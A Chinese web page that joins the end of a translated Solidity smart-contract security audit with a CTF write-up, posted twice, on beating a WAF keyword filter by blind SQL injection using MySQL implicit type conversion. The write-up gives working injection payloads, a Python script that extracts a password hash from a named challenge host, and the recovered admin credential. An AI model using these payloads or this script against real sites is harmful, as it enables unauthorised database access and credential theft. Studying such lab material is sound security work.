所以我的建议是在函数开始时就更新条件、将投注次数设置为0,以确保 distributePrizes()在被超出预期地多次调用时不会产生实际效果。

数值溢出(Over and under flows)

当一个 uint256类型的变量值超出上限2**256(即2的256次方,译者注)时会发生溢出。其结果是变量值变为0,而不是更大。

例如,如果你想把一个unit类型的变量赋予大于2**256的值,它会简单地变为0,这是危险的。

另一方面,当你从0值中减去一个大于0的数字时,则会发生下溢出(underflow)。例如,如果你用0减去1,结果将是2**256,而不是-1。

在处理以太币的时候,这非常危险;然而在这个合约中并不存在减法操作,所以也不会有下溢出的风险。

唯一可能发生溢出的情况是当你调用 bet()向某个数字下注时, totalBet变量的值会相应增加:totalBet += msg.value;有人可能会发送大量的以太币而导致累加结果超过2**256,这会使totalBet变为0。这当然是不大可能发生的,但风险是有的。

所以我推荐使用类似于[OpenZeppelin’s SafeMath.sol]这样的库。它可以使你的计算处理更安全,免去发生溢出(overflow或者underflow)的风险。

可以将其导入来使用,对uint256类型激活它,然后使用 .mul()、 .add()、 .sub()和 .div()这些函数。例如:import './SafeMath.sol'; contract Casino { using SafeMath for uint256; function example(uint256 _value) { uint number = msg.value.add(_value); } }重放攻击(Replay attack)

重放攻击是指在像以太坊这样的区块链上发起一笔交易,而后在像以太坊经典这样的另一个链上重复这笔交易的攻击。(就是说在主链上创建一个交易之后,在分岔链上重复同样的交易。译者注。)

以太币会像普通的交易那样,从一个链转移到另一个链。

基于由Vitalik Buterin提出的EIP 155【https://github.com/ethereum/EIPs/blob/master/EIPS/eip-155.md】,从Geth的1.5.3版本和Parity的1.4.4版本开始,已经增加了对这个攻击的防护。


译者注:
EIP,即Ethereum Improvement Proposal(以太坊改进建议),官方地址【https://github.com/ethereum/EIPs】是由以太坊社区所共同维护的以太坊平台标准规范文档,涵盖了基础协议规格说明、客户端API以及合约标准规范等等内容。



所以使用合约的用户们需要自己升级客户端程序来保证针对这个攻击的安全性。

重排攻击(Reordering attack)

这种攻击是指矿工或其他方试图通过将自己的信息插入列表(list)或映射(mapping)中来与智能合约参与者进行“竞争”,从而使攻击者有机会将自己的信息存储到合约中。

当一个用户使用 bet()函数下注以后,因为实际的数据是存储在链上的,所以任何人都可以简单地通过调用公有状态变量 playerBetsNumber这个mapping看到所下注的数字。

这个mapping是用来表示每个人所选择的数字的,所以,结合交易数据,你就可以很容易地看到他们各自下注了多少以太币。这可能会发生在 distributePrizes()函数中,因为它是在随机数生成处理的回调中被调用的。

因为这个函数起作用的条件在其结束之前才会被重置,所以这就有了重排攻击(reordering attack)的风险。

因此,我的建议就像我之前谈的那样:在 distributePrizes()函数开始时就重置下注人数来避免其产生非预期的行为。

短地址攻击(Short address attack)

这种攻击是由Golem团队发现的针对ERC20代币的攻击:

一个用户创建一个空钱包,这并不难,它只是一串字符,例如:【0xiofa8d97756as7df5sd8f75g8675ds8gsdg0】
然后他使用把地址中的最后一个0去掉的地址来购买代币:也就是用【0xiofa8d97756as7df5sd8f75g8675ds8gsdg】作为收款地址来购买1000代币。
如果代币合约中有足够的余额,且购买代币的函数没有检查发送者地址的长度,以太坊虚拟机会在交易数据中补0,直到数据包长度满足要求
以太坊虚拟机会为每个1000代币的购买返回256000代币。这是一个虚拟机的bug,并且仍未被修复。所以如果你是一个代币合约的开发者,请确保对地址长度进行了检查。

但我们这个合约因为并不是ERC20代币合约,所以这种攻击并不能适用。

你可以参考这篇文章【http://vessenes.com/the-erc20-short-address-attack-explained/】来获得更多关于这种攻击的信息。

4、合约中发现的严重漏洞

审计中并未发现严重漏洞。

5、合约中发现的中等漏洞

checkPlayerExists()应该是一个常态(constant)函数,然而实际上它并不是。因此这增加了调用这个函数的gas消耗,当有大量对此函数的调用发生时会产生很大的问题。

应该把它改为常态函数来避免昂贵的消耗gas的执行。


译者注:
Solidity语言中的常态(constant)函数,指的是在运行时不会改变合约状态的函数,也就是不会改变合约级别的状态变量(state variable)的值的函数。因为状态变量的更改是会保存到链上的,所以对状态变量的更改都要消耗gas(来支付给矿工),这是非常昂贵的。在本例中,因为 checkPlayerExists()函数中访问了状态变量 playerBetsNumber来判断是否已经有人下过注了,虽然这是个合约级别的变量,但这个函数并没有改变它的值,所以这个函数应该声明为 constant以节省其对gas的消耗。



6、低严重性的漏洞

你在 __callback()函数和 pay()函数的开始位置使用了 assert()而不是 require()。

assert()和 require()大体上是相同的,但assert函数一般用来在更改合约状态之后做校验,而require通常在函数的开头用做输入参数的检查。

你定义了一个合约级别的变量players,但没有任何地方使用它。如果你不打算使用它,就把它删除。

7、逐行评注

第1行:你在版本杂注(pragma version)中使用了脱字符号(^)来指定使用高于 0.4.11版本的编译器。

这不是一个好实践。因为大版本的变化可能会使你的代码不稳定,所以我推荐使用一个固定的版本,比如‘0.4.11’。

第14行:你定义了一个 uint类型的变量 totalBet,这个变量名是不合适的,因为它保存的是所有下注的合计值。我推荐使用 totalBets作为变量名,而不是 totalBet。
第24行:你用大写字母定义了一个常量(constant variable),这是一个好实践,可以使人知道这是个固定的、不可变的变量。
第30行:就像我之前提到的,你定义了一个未使用的数组 player。如果你不打算使用它,就把它删除。
第60行:函数 checkPlayerExists()应该被声明为 constant。因为它并没有更改合约状态,把它声明为 constant可以节省下每次运行它所要消耗的gas。

即使函数默认是public类型,但显式地给函数指定类型仍然是一个好实践,它可以避免任何困惑。这里可以在这个函数声明的末尾确切地加上public声明。

第61行:你没有检查输入参数 player被正常传入且格式正确。请确保在函数开头使用 require(player != address(0));语句来检查传入地址是否为0。为了以防万一,最好也要检查地址的长度是否符合要求来应对短地址攻击。
第69行:同样建议给 bet()函数加上可见度(visibilty)关键字 public来避免任何困惑,以明确应该如何使用此函数。
第72行:使用 require()来检查函数输入参数,而不是 assert()。

同样的,在函数开头,一般更经常使用 require()。请把所有在函数开头使用的 assert()改为 require()。

第90行:你使用了一个对 msg.value的简单合计,在value值很大时这会导致溢出。所以我建议你每次对数值进行运算时都要检查是否会溢出。
第98行: generateNumberWinner()应该是 internal函数,因为你肯定不希望任何人都可以从合约以外执行它。


译者注:
在Solidity语言中, internal关键字的效果,与面向对象语言比如C++、Java中的protected类型基本一致,此关键字限定的函数或者状态变量,仅在当前合约及当前合约的子合约(contacts deriving from this contract)中可以访问。 private关键字则与其他语言中的此关键字相同,由其限定的函数或者状态变量仅在当前合约中可以访问。



第103行:你把 oraclize_newRandomDSQuery()函数的结果保存在了一个bytes32类型的变量中。调用callback函数并不需要这么做,而且你也没有在其他地方再用到这个变量,所以我建议不要用变量保存这个函数的返回值。
第110行: __callback()函数应该声明为 external,因为你只希望它从外部被调用。


译者注:
在Solidity中,函数关键字 public和 external在gas的消耗上是有区别的。因为 public的函数既可以在合约外调用,又可以在合约内调用,所以虚拟机会在运行时为其分配内存,拷贝其所用到的所有变量。而 external的函数只允许从合约外部进行调用,其调用会直接从calldata(即函数调用的二进制字节码数据)中获取参数,虚拟机不会为其分配内存并拷贝变量值,所以其gas消耗比 public的函数要低很多。



第117行:这里的 assert()应该使用 require(),就像我先前解释的那样。
第119行:你使用了 sha3()函数,但这并不是一个好的实践。实际的算法使用的是keccak256,并不是sha3。所以我建议这里更明确地改为使用 keccak256()。
第125行: distributePrizes()函数应该被声明为 internal。


译者注:
此函数与第98行的 generateNumberWinner()函数一样,声明为 internal或者 private都是可以的。区别仅在于你希不希望子合约中可以使用它们。



第129行:尽管你在这里用了一个变长数组的大小来控制循环次数,但其实也没有多糟糕,因为获胜者的数量被限制为小于100。

8、审计总结

总体上讲,这个合约的代码有很好的注释,清晰地解释了每个函数的目的。

下注和分发奖励的机制非常简单,不会带来什么大问题。

我最终的建议是需要更加注意函数的可见性声明,因为这对于明确函数应该供谁来执行的问题非常重要。然后就是需要在编码中考虑 assert、 require和 keccak的使用上的最佳实践。

这是一个安全的合约,可以在其运行期间保证资金安全。

结论

以上就是我使用我在开篇介绍过的结构所进行的审计。希望你确实学到了一些东西并且可以对其他智能合约进行安全审计了。

请继续学习合约安全知识、编码最佳实践以及其他实用知识,并努力提高

 
 转载声明:https://www.jianshu.com/p/6911364efc4b

利用mysql的隐式类型转换绕过waf注入

Web安全渗透lawliet 发表了文章 • 5 个评论 • 930 次浏览 • 2018-05-21 00:30 • 来自相关话题

今天做的一道ctf题,要求绕过waf去注入,可以通过mysql隐式类型转换的特性去绕过waf,在这里记录下来供大家学习一下

题目地址:题目地址(比赛结束后可能会失效)
HINT:我都过滤了,看你怎么绕。记住是mysql
打开后看到是一个登陆框






结合题目提示猜测是去绕WAF注入,首先测试了一下,发现当用户名正确而密码错误时会返回password error,当用户名错误时会返回username error的错误,于是猜测可能存在盲注。

测试了一下,发现大概过滤了以下关键字#、,、union、--+、and、or、|、%26(&的url编码)简单来说,就是不能使用and,or等关键字进行逻辑判断去盲注,同样不能使用注释符去注释后面的语句。谷歌了一下相关的资料,发现这种情况可以利用mysql的隐式类型转换去绕过,类似于php的弱类型。所谓的隐式类型转换,简单来说,就是对mysql的字符类型进行一些加、减、取余等数字操作运算时,又或者是将字符类型与数字类型进行比较时,会将字符类型转为数字类型,比如mysql> select '45abcd'-'abc';
+----------------+
| '45abcd'-'abc' |
+----------------+
| 45 |
+----------------+
1 row in set, 2 warnings (0.02 sec)在这里将字符串45abcd转为了数字45,将字符串abc转为了数字0 于是可以得出不是以数字开头的字符串在进行隐式类型转换时都会转为数字0
再看mysql> select 'aaa'=0;
+---------+
| 'aaa'=0 |
+---------+
| 1 |
+---------+
1 row in set, 1 warning (0.00 sec)在这里将字符串aaa与数字0进行比较时将字符串aaa转为了数字0

再看以下语句mysql> select * from users where username=0;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
13 rows in set (0.00 sec) 可以看到where username=0时会将数据表中所有数据类型查出来,因为username在数据库中的存储类型为varchar类型,也就是字符串类型,在进行比较时会将这些字符串类型全转为数字类型,所以不以数字开头的字符串都会被转成0,从而查询出所有结果

再看mysql> select * from users where username=''-'';
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
13 rows in set (0.00 sec) 可以看出当where username=''-''时会进行隐式类型转换,运算结果相当于where username=0,会返回所有结果

如果将中间的0变为1,相当于where username=-1,由于数据库里没有以-1开头的字符串,就会返回空mysql> select * from users where username=''-'';
Empty set (0.00 sec) 由此可以看出我们是可以在中间这个位置进行逻辑判断去盲注的

知道了这些后来返回题目看这道题,构造payload:
uname='-'&passwd=123456

这里用户名有查询结果,所以会返回password error








构造payload:

uname='-'&passwd=123456

而这里用户名没有查询结果,所以会返回username error的错误








按照这个思路,可以进行逻辑判断进行盲注,构造payload猜出数据库中passwd字段的长度uname='-(length(passwd)=passwd的长度)-'&passwd=123456当(length(passwd)=passwd的长度)为真时结果为1,也就是查不出用户名,会返回username error,为假时结果为0,会返回查询结果但是密码错误,也就会返回password error











通过这种方式可以判断出用户表中有一个长度为32字节的passwd字段

同样的可以通过这种方式判断出passwd字段中的值,用python写一个脚本即可,贴出我的代码import requests
url="http://118.190.152.202:8019/login.php"
passwd=""
for i in range(1,33):
for j in range(1,256):
data={
'uname':"'-(ascii(mid((passwd)from(%d)))=%d)-'"%(i,j),
'passwd':'admin'
}
html=requests.post(url,data=data).content
if "username error!!" in html:
passwd=passwd+chr(j)
print passwd
break为了更好的理解脚本,可以看看以下我测试时写的查询语句mysql> select mid((password)from(1)) from users;
+------------------------+
| mid((password)from(1)) |
+------------------------+
| Dumb |
| I-kill-you |
| p@ssword |
| crappy |
| stupidity |
| genious |
| mob!le |
| admin |
| admin1 |
| admin2 |
| admin3 |
| dumbo |
| admin4 |
+------------------------+
13 rows in set (0.00 sec)

mysql> select mid((password)from(2)) from users;
+------------------------+
| mid((password)from(2)) |
+------------------------+
| umb |
| -kill-you |
| @ssword |
| rappy |
| tupidity |
| enious |
| ob!le |
| dmin |
| dmin1 |
| dmin2 |
| dmin3 |
| umbo |
| dmin4 |
+------------------------+
13 rows in set (0.00 sec)

mysql> select ascii(mid((password)from(1))) from users;
+-------------------------------+
| ascii(mid((password)from(1))) |
+-------------------------------+
| 68 |
| 73 |
| 112 |
| 99 |
| 115 |
| 103 |
| 109 |
| 97 |
| 97 |
| 97 |
| 97 |
| 100 |
| 97 |
+-------------------------------+
13 rows in set (0.00 sec)

mysql> select ascii(mid((password)from(2))) from users;
+-------------------------------+
| ascii(mid((password)from(2))) |
+-------------------------------+
| 117 |
| 45 |
| 64 |
| 114 |
| 116 |
| 101 |
| 111 |
| 100 |
| 100 |
| 100 |
| 100 |
| 117 |
| 100 |
+-------------------------------+
13 rows in set (0.00 sec)

mysql> select * from users where username='a'-(ascii(mid((password)from(2)))=117)-'b';
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 14 | admin4 | admin4 |
+----+----------+------------+
11 rows in set, 26 warnings (0.00 sec)

mysql> select * from users where username='a'-(ascii(mid((password)from(2)))=118)-'b';
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
13 rows in set, 26 warnings (0.00 sec) 最后跑出密码






MD5在线解密一下




nishishabi1438用户名admin,密码nishishabi1438,登陆成功





  查看全部
今天做的一道ctf题,要求绕过waf去注入,可以通过mysql隐式类型转换的特性去绕过waf,在这里记录下来供大家学习一下

题目地址:题目地址(比赛结束后可能会失效)
HINT:我都过滤了,看你怎么绕。记住是mysql
打开后看到是一个登陆框

BKJ21D2858.png


结合题目提示猜测是去绕WAF注入,首先测试了一下,发现当用户名正确而密码错误时会返回password error,当用户名错误时会返回username error的错误,于是猜测可能存在盲注。

测试了一下,发现大概过滤了以下关键字
#、,、union、--+、and、or、|、%26(&的url编码)
简单来说,就是不能使用and,or等关键字进行逻辑判断去盲注,同样不能使用注释符去注释后面的语句。谷歌了一下相关的资料,发现这种情况可以利用mysql的隐式类型转换去绕过,类似于php的弱类型。所谓的隐式类型转换,简单来说,就是对mysql的字符类型进行一些加、减、取余等数字操作运算时,又或者是将字符类型与数字类型进行比较时,会将字符类型转为数字类型,比如
mysql> select '45abcd'-'abc';
+----------------+
| '45abcd'-'abc' |
+----------------+
| 45 |
+----------------+
1 row in set, 2 warnings (0.02 sec)
在这里将字符串45abcd转为了数字45,将字符串abc转为了数字0 于是可以得出不是以数字开头的字符串在进行隐式类型转换时都会转为数字0
再看
mysql> select 'aaa'=0;
+---------+
| 'aaa'=0 |
+---------+
| 1 |
+---------+
1 row in set, 1 warning (0.00 sec)
在这里将字符串aaa与数字0进行比较时将字符串aaa转为了数字0

再看以下语句
mysql> select * from users where username=0;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
13 rows in set (0.00 sec)
可以看到where username=0时会将数据表中所有数据类型查出来,因为username在数据库中的存储类型为varchar类型,也就是字符串类型,在进行比较时会将这些字符串类型全转为数字类型,所以不以数字开头的字符串都会被转成0,从而查询出所有结果

再看
mysql> select * from users where username=''-'';
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
13 rows in set (0.00 sec)
可以看出当where username=''-''时会进行隐式类型转换,运算结果相当于where username=0,会返回所有结果

如果将中间的0变为1,相当于where username=-1,由于数据库里没有以-1开头的字符串,就会返回空
mysql> select * from users where username=''-'';
Empty set (0.00 sec)
由此可以看出我们是可以在中间这个位置进行逻辑判断去盲注的

知道了这些后来返回题目看这道题,构造payload:
uname='-'&passwd=123456

这里用户名有查询结果,所以会返回password error

E7FLDcFlBk.png




构造payload:

uname='-'&passwd=123456

而这里用户名没有查询结果,所以会返回username error的错误

5Adfbcg230.png




按照这个思路,可以进行逻辑判断进行盲注,构造payload猜出数据库中passwd字段的长度
uname='-(length(passwd)=passwd的长度)-'&passwd=123456
当(length(passwd)=passwd的长度)为真时结果为1,也就是查不出用户名,会返回username error,为假时结果为0,会返回查询结果但是密码错误,也就会返回password error

ebgKLjl969.png


6800eBgjbK.png


通过这种方式可以判断出用户表中有一个长度为32字节的passwd字段

同样的可以通过这种方式判断出passwd字段中的值,用python写一个脚本即可,贴出我的代码
import requests
url="http://118.190.152.202:8019/login.php"
passwd=""
for i in range(1,33):
for j in range(1,256):
data={
'uname':"'-(ascii(mid((passwd)from(%d)))=%d)-'"%(i,j),
'passwd':'admin'
}
html=requests.post(url,data=data).content
if "username error!!" in html:
passwd=passwd+chr(j)
print passwd
break
为了更好的理解脚本,可以看看以下我测试时写的查询语句
mysql> select mid((password)from(1)) from users;
+------------------------+
| mid((password)from(1)) |
+------------------------+
| Dumb |
| I-kill-you |
| p@ssword |
| crappy |
| stupidity |
| genious |
| mob!le |
| admin |
| admin1 |
| admin2 |
| admin3 |
| dumbo |
| admin4 |
+------------------------+
13 rows in set (0.00 sec)

mysql> select mid((password)from(2)) from users;
+------------------------+
| mid((password)from(2)) |
+------------------------+
| umb |
| -kill-you |
| @ssword |
| rappy |
| tupidity |
| enious |
| ob!le |
| dmin |
| dmin1 |
| dmin2 |
| dmin3 |
| umbo |
| dmin4 |
+------------------------+
13 rows in set (0.00 sec)

mysql> select ascii(mid((password)from(1))) from users;
+-------------------------------+
| ascii(mid((password)from(1))) |
+-------------------------------+
| 68 |
| 73 |
| 112 |
| 99 |
| 115 |
| 103 |
| 109 |
| 97 |
| 97 |
| 97 |
| 97 |
| 100 |
| 97 |
+-------------------------------+
13 rows in set (0.00 sec)

mysql> select ascii(mid((password)from(2))) from users;
+-------------------------------+
| ascii(mid((password)from(2))) |
+-------------------------------+
| 117 |
| 45 |
| 64 |
| 114 |
| 116 |
| 101 |
| 111 |
| 100 |
| 100 |
| 100 |
| 100 |
| 117 |
| 100 |
+-------------------------------+
13 rows in set (0.00 sec)

mysql> select * from users where username='a'-(ascii(mid((password)from(2)))=117)-'b';
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 14 | admin4 | admin4 |
+----+----------+------------+
11 rows in set, 26 warnings (0.00 sec)

mysql> select * from users where username='a'-(ascii(mid((password)from(2)))=118)-'b';
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
13 rows in set, 26 warnings (0.00 sec)
最后跑出密码

6F8e68Ha50.png


MD5在线解密一下

hik351lm3b.png
nishishabi1438
用户名admin,密码nishishabi1438,登陆成功

J8h7d48C81.png